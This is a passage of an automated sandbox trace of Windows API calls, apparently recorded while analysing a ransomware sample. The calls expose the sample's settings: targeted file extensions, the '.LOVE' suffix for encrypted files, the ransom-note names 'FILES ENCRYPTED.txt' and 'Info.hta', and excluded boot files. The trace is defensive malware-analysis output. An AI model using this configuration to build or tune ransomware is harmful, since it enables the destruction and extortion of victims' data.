0x80fa68 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80fa80 [0189.690] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7c4788 [0189.690] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80fac8 [0189.690] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80fae0 [0189.690] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x80f048, Size=0x800) returned 0x80fc60 [0189.690] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0189.690] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80d428 | out: hHeap=0x790000) returned 1 [0189.690] lstrlenW (lpString="") returned 0 [0189.690] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x810be8 | out: hHeap=0x790000) returned 1 [0189.690] lstrlenW (lpString=".LOVE") returned 5 [0189.690] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c4848, Size=0x8) returned 0x7c4a68 [0189.690] lstrlenW (lpString=".LOVE") returned 5 [0189.690] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x810c48 | out: hHeap=0x790000) returned 1 [0189.690] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x810be8, Size=0x20) returned 0x7c57c0 [0189.690] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c57c0, Size=0x40) returned 0x79fc40 [0189.690] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79fc40, Size=0x80) returned 0x80c268 [0189.690] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c4848, Size=0x8) returned 0x7c4998 [0189.690] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c4998, Size=0x10) returned 0x810be8 [0189.690] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x810be8, Size=0x20) returned 0x7c5630 [0189.690] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0189.690] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80c268 | out: hHeap=0x790000) returned 1 [0189.690] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x810b10, Size=0x20) returned 0x7c56d0 [0189.690] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c56d0, Size=0x40) returned 0x79f8e0 [0189.691] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0189.691] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0189.691] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x79f8e0 | out: hHeap=0x790000) returned 1 [0189.691] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x810b70, Size=0x20) returned 0x7c5680 [0189.691] lstrlenW (lpString="Info.hta") returned 8 [0189.691] lstrlenW (lpString="Info.hta") returned 8 [0189.691] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c5680 | out: hHeap=0x790000) returned 1 [0189.691] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7ebe08, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\11.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\11.exe")) returned 0x1e [0189.691] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ebe08 | out: hHeap=0x790000) returned 1 [0189.692] lstrlenW (lpString="11.exe") returned 6 [0189.692] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c5630, Size=0x40) returned 0x79fb20 [0189.692] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x810b10, Size=0x20) returned 0x7c54c8 [0189.693] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x810ab0, Size=0x20) returned 0x7c54f0 [0189.693] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c54f0, Size=0x40) returned 0x79f6e8 [0189.693] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79f6e8, Size=0x80) returned 0x80c7b8 [0189.693] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x80c7b8, Size=0x100) returned 0x7ca798 [0189.693] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0189.693] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ca798 | out: hHeap=0x790000) returned 1 [0189.693] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x7ebe08, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0189.693] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x810c70 | out: hHeap=0x790000) returned 1 [0189.694] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ebe08 | out: hHeap=0x790000) returned 1 [0189.694] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c49a8, Size=0x8) returned 0x7c4ac8 [0189.694] lstrlenW (lpString="%windir%;") returned 9 [0189.694] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c54c8 | out: hHeap=0x790000) returned 1 [0189.695] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0189.695] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7dbe00 | out: hHeap=0x790000) returned 1 [0189.696] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x810ab0, Size=0x20) returned 0x7c54c8 [0189.696] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c54c8, Size=0x40) returned 0x79fbb0 [0189.696] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79fbb0, Size=0x80) returned 0x80cbf8 [0189.696] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x80cbf8, Size=0x100) returned 0x7ca798 [0189.696] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c4a58, Size=0x8) returned 0x7c4ad8 [0189.696] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c4ad8, Size=0x10) returned 0x810b88 [0189.696] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x810b88, Size=0x20) returned 0x7c56d0 [0189.696] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c49e8, Size=0x8) returned 0x7c4a48 [0189.696] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c4a28, Size=0x8) returned 0x7c4a08 [0189.696] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c49b8, Size=0x8) returned 0x7c4b38 [0189.696] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c4b38, Size=0x10) returned 0x8106f0 [0189.696] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x8106f0, Size=0x20) returned 0x7c5518 [0189.696] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c4a48, Size=0x10) returned 0x810768 [0189.696] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c4a08, Size=0x10) returned 0x8106f0 [0189.696] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c4a58, Size=0x8) returned 0x7c4a08 [0189.696] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c4a48, Size=0x8) returned 0x7c4988 [0189.696] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x810768, Size=0x20) returned 0x7c5608 [0189.696] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x8106f0, Size=0x20) returned 0x7c5540 [0189.696] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c4a48, Size=0x8) returned 0x7c4a58 [0189.696] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0189.696] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ca798 | out: hHeap=0x790000) returned 1 [0189.696] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x8106a8, Size=0x20) returned 0x7c57e8 [0189.697] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x810c70, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0189.697] lstrlenW (lpString="C:\\") returned 3 [0189.697] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0189.697] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x810c70 | out: hHeap=0x790000) returned 1 [0189.697] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c4a48, Size=0x82) returned 0x7ca828 [0189.697] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c4b48, Size=0x100) returned 0x80ce08 [0189.697] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ca828, Size=0x104) returned 0x80cfa0 [0189.698] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x80ce08, Size=0x200) returned 0x80d428 [0189.698] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ca8b8, Size=0x104) returned 0x80d630 [0189.698] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x80c510, Size=0x100) returned 0x80ce08 [0189.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c49d8 | out: hHeap=0x790000) returned 1 [0189.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80d428 | out: hHeap=0x790000) returned 1 [0189.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x810510 | out: hHeap=0x790000) returned 1 [0189.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80be28 | out: hHeap=0x790000) returned 1 [0189.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8104e0 | out: hHeap=0x790000) returned 1 [0189.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80c950 | out: hHeap=0x790000) returned 1 [0189.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x810768 | out: hHeap=0x790000) returned 1 [0189.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80cfa0 | out: hHeap=0x790000) returned 1 [0189.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x810750 | out: hHeap=0x790000) returned 1 [0189.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80d630 | out: hHeap=0x790000) returned 1 [0189.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8106d8 | out: hHeap=0x790000) returned 1 [0189.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80cf10 | out: hHeap=0x790000) returned 1 [0189.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8106a8 | out: hHeap=0x790000) returned 1 [0189.699] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x810630, Size=0x20) returned 0x7c55b8 [0189.699] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c55b8, Size=0x40) returned 0x79f8e0 [0189.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c4b18 | out: hHeap=0x790000) returned 1 [0189.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8104f8 | out: hHeap=0x790000) returned 1 [0189.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ca798 | out: hHeap=0x790000) returned 1 [0189.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x810498 | out: hHeap=0x790000) returned 1 [0189.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80ce08 | out: hHeap=0x790000) returned 1 [0189.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x810618 | out: hHeap=0x790000) returned 1 [0189.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c4b08 | out: hHeap=0x790000) returned 1 [0189.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8104b0 | out: hHeap=0x790000) returned 1 [0189.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x79e670 | out: hHeap=0x790000) returned 1 [0189.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x79f078 | out: hHeap=0x790000) returned 1 [0189.700] lstrlenW (lpString="%systemdrive%") returned 13 [0189.700] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c57e8 | out: hHeap=0x790000) returned 1 [0189.700] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80cae8 | out: hHeap=0x790000) returned 1 [0189.700] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c4af8 | out: hHeap=0x790000) returned 1 [0189.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x7cbde0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x240 [0189.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x810558, Size=0x20) returned 0x7c5748 [0189.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c5748, Size=0x40) returned 0x79fbb0 [0189.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79fbb0, Size=0x80) returned 0x80cbf8 [0189.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x80cbf8, Size=0x100) returned 0x7ca798 [0189.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ca798, Size=0x200) returned 0x7ca798 [0189.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ca798, Size=0x400) returned 0x80d428 [0189.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x80d428, Size=0x800) returned 0x80d428 [0189.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x80d428, Size=0x1000) returned 0x80d428 [0189.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c49d8, Size=0x8) returned 0x7c49e8 [0189.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c49e8, Size=0x10) returned 0x810570 [0189.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x810570, Size=0x20) returned 0x7c54c8 [0189.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c54c8, Size=0x40) returned 0x79f928 [0189.702] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79f928, Size=0x80) returned 0x80cae8 [0189.702] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x80cae8, Size=0x100) returned 0x7ca798 [0189.702] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ca798, Size=0x200) returned 0x7ca798 [0189.702] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ca798, Size=0x400) returned 0x7ebe08 [0189.702] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ebe08, Size=0x800) returned 0x7ed220 [0189.702] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0189.702] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80d428 | out: hHeap=0x790000) returned 1 [0189.702] lstrlenW (lpString="") returned 0 [0189.702] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ee800 | out: hHeap=0x790000) returned 1 [0189.702] lstrlenW (lpString=".LOVE") returned 5 [0189.702] lstrlenW (lpString=".LOVE") returned 5 [0189.702] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ee8f0 | out: hHeap=0x790000) returned 1 [0189.702] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ee680, Size=0x20) returned 0x7c5568 [0189.702] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c5568, Size=0x40) returned 0x79fbb0 [0189.702] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79fbb0, Size=0x80) returned 0x80beb0 [0189.702] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ec380, Size=0x8) returned 0x7ec3f0 [0189.702] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ec3f0, Size=0x10) returned 0x7ee8f0 [0189.702] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ee8f0, Size=0x20) returned 0x7c5590 [0189.702] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0189.702] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80beb0 | out: hHeap=0x790000) returned 1 [0189.702] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ee8f0, Size=0x20) returned 0x7c5748 [0189.703] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c5748, Size=0x40) returned 0x79fcd0 [0189.703] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0189.703] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0189.703] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x79fcd0 | out: hHeap=0x790000) returned 1 [0189.703] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ee8f0, Size=0x20) returned 0x7c5748 [0189.703] lstrlenW (lpString="Info.hta") returned 8 [0189.703] lstrlenW (lpString="Info.hta") returned 8 [0189.703] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c5748 | out: hHeap=0x790000) returned 1 [0189.703] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7eea30, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\11.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\11.exe")) returned 0x1e [0189.703] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7eea30 | out: hHeap=0x790000) returned 1 [0189.703] lstrlenW (lpString="11.exe") returned 6 [0189.703] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c5590, Size=0x40) returned 0x79fc88 [0189.703] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ee698, Size=0x20) returned 0x7c55b8 [0189.704] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ee7e8, Size=0x20) returned 0x7c5810 [0189.704] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c5810, Size=0x40) returned 0x79f970 [0189.704] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79f970, Size=0x80) returned 0x80c9d8 [0189.704] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x80c9d8, Size=0x100) returned 0x7ca798 [0189.704] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0189.704] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ca798 | out: hHeap=0x790000) returned 1 [0189.704] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x7eea30, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0189.704] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x823ca8 | out: hHeap=0x790000) returned 1 [0189.705] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7eea30 | out: hHeap=0x790000) returned 1 [0189.705] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ec390, Size=0x8) returned 0x7ec3a0 [0189.705] lstrlenW (lpString="%windir%;") returned 9 [0189.706] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c55b8 | out: hHeap=0x790000) returned 1 [0189.706] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0189.706] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7dbe00 | out: hHeap=0x790000) returned 1 [0189.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ee698, Size=0x20) returned 0x7c5630 [0189.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c5630, Size=0x40) returned 0x79fcd0 [0189.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79fcd0, Size=0x80) returned 0x80be28 [0189.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x80be28, Size=0x100) returned 0x7ca798 [0189.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ec280, Size=0x8) returned 0x7ec430 [0189.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ec430, Size=0x10) returned 0x7ee7e8 [0189.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ee7e8, Size=0x20) returned 0x7c55b8 [0189.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ec310, Size=0x8) returned 0x7ec430 [0189.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ec320, Size=0x8) returned 0x7ec250 [0189.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ec260, Size=0x8) returned 0x7ec390 [0189.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ec390, Size=0x10) returned 0x7ee968 [0189.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ee968, Size=0x20) returned 0x7c5630 [0189.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ec430, Size=0x10) returned 0x7ee998 [0189.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ec250, Size=0x10) returned 0x7ee9c8 [0189.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ec360, Size=0x8) returned 0x7ec3b0 [0189.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ec430, Size=0x8) returned 0x7ec360 [0189.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ee998, Size=0x20) returned 0x7c5568 [0189.707] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ee9c8, Size=0x20) returned 0x7c5748 [0189.707] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ec430, Size=0x8) returned 0x7ec280 [0189.707] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0189.707] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ca798 | out: 